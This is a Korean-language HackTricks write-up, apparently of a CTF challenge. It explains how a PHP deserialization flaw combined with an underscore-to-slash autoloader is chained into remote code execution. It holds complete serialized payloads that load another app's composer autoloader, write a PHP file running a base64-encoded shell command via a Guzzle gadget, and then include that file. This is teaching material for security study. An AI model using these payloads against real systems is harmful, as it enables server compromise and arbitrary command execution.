PHP - Deserialization + Autoload Classes

Support HackTricks

먼저, 자동 로딩 클래스가 무엇인지 확인해야 합니다.

PHP deserialization + spl_autoload_register + LFI/Gadget

우리는 웹앱에서 PHP deserialization을 발견했지만 phpggc 내부에 가젯에 취약한 라이브러리없는 상황에 있습니다. 그러나 같은 컨테이너에 취약한 라이브러리가 있는 다른 composer 웹앱이 있었습니다. 따라서 목표는 다른 웹앱의 composer 로더를 로드하고 이를 악용하여 deserialization에 취약한 웹앱의 가젯으로 해당 라이브러리를 악용하는 것이었습니다.

단계:

  • deserialization을 발견했지만 현재 앱 코드에 가젯이 없습니다.

  • 다음과 같은 spl_autoload_register 함수를 악용하여 .php 확장자를 가진 로컬 파일을 로드할 수 있습니다.

  • 이를 위해 클래스 이름이 $name 안에 들어가도록 deserialization을 사용합니다. 직렬화된 객체의 클래스 이름에 **"/" 또는 "."**를 사용할 수 없지만, 코드언더스코어("_")를 슬래시("/")로 대체하고 있습니다. 따라서 tmp_passwd와 같은 클래스 이름은 /tmp/passwd.php로 변환되고, 코드는 이를 로드하려고 시도합니다. 가젯 예시는: **O:10:"tmp_passwd":0:{}**입니다.

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

파일 업로드가 가능하고 .php 확장자가 있는 파일을 업로드할 수 있다면, 이 기능을 직접 악용하여 이미 RCE를 얻을 수 있습니다.

내 경우에는 그런 것이 없었지만, 같은 컨테이너 안에 phpggc 가젯에 취약한 라이브러리가 있는 다른 composer 웹 페이지가 있었습니다.

  • 이 다른 라이브러리를 로드하려면 먼저 그 다른 웹 앱의 composer 로더를 로드해야 합니다(현재 애플리케이션의 로더는 다른 애플리케이션의 라이브러리에 접근할 수 없습니다). 애플리케이션의 경로를 알고 있다면, **O:28:"www_frontend_vendor_autoload":0:{}**를 사용하여 이를 매우 쉽게 달성할 수 있습니다. (내 경우 composer 로더는 /www/frontend/vendor/autoload.php에 있었습니다.)

  • 이제 다른 앱의 composer 로더를 로드할 수 있으므로, 사용할 phpgcc 페이로드를 생성할 시간입니다. 내 경우에는 **Guzzle/FW1**을 사용하여 파일 시스템 내의 모든 파일을 쓸 수 있었습니다.

  • 참고: 생성된 가젯이 작동하지 않았습니다. 작동하게 하려면 **chain.php**의 phpggc 페이로드를 수정하고 모든 속성private에서 public으로 설정했습니다. 그렇지 않으면 문자열을 역직렬화한 후 생성된 객체의 속성에 값이 없었습니다.

  • 이제 다른 앱의 composer 로더를 로드할 방법이 있고, 작동하는 phpggc 페이로드가 있지만, 가젯이 사용될 때 로더가 로드되도록 동일한 요청에서 이를 수행해야 합니다. 이를 위해 두 개의 객체가 포함된 직렬화된 배열을 보냈습니다:

  • 먼저 로더가 로드되고 그 다음에 페이로드가 로드되는 것을 볼 수 있습니다.

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • 이제 우리는 파일을 생성하고 쓸 수 있지만, 사용자는 웹 서버 내의 어떤 폴더에도 쓸 수 없습니다. 그래서 페이로드에서 볼 수 있듯이, PHP는 **system**을 호출하여 base64로 **/tmp/a.php**에 생성됩니다. 그런 다음, 우리는 다른 웹앱의 composer 로더를 로드하기 위해 LFI에 사용했던 첫 번째 유형의 페이로드를 재사용할 수 있습니다 생성된 /tmp/a.php 파일을 로드하기 위해. 그것을 역직렬화 가젯에 추가하기만 하면 됩니다:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

페이로드 요약

  • 다른 웹앱의 composer autoload를 동일한 컨테이너에서 로드

  • phpggc 가젯을 로드하여 다른 웹앱의 라이브러리를 악용 (역직렬화에 취약한 초기 웹앱에는 라이브러리에 가젯이 없음)

  • 가젯은 /tmp/a.php에 악성 명령어가 포함된 PHP 페이로드로 파일을 생성

  • 페이로드의 마지막 부분은 생성된 PHP 파일을 로드하여 명령어를 실행

나는 이 역직렬화를 두 번 호출해야 했다. 내 테스트에서 첫 번째로 /tmp/a.php 파일이 생성되었지만 로드되지 않았고, 두 번째로는 올바르게 로드되었다.

Support HackTricks

Last updated